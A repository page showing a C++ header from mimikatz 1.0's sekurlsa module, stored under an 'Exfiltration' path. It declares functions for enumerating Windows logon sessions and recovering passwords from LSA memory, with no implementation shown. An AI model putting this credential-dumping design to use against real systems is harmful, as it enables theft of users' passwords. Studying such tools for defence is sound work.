aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h
blob: c36e17338b05705c77ab60281a3f4c308743dff7 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence    : http://creativecommons.org/licenses/by/3.0/fr/
	Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "kmodel.h"
#include "secpkg.h"
#include "mod_memory.h"
#include "mod_system.h"
#include "mod_text.h"
#include "mod_process.h"

extern PLSA_SECPKG_FUNCTION_TABLE	SeckPkgFunctionTable;

bool searchLSAFuncs();
__kextdll bool __cdecl getDescription(wstring * maDescription);

typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity);
bool		getLogonData(mod_pipe * monPipe, vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders);

wstring		getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass);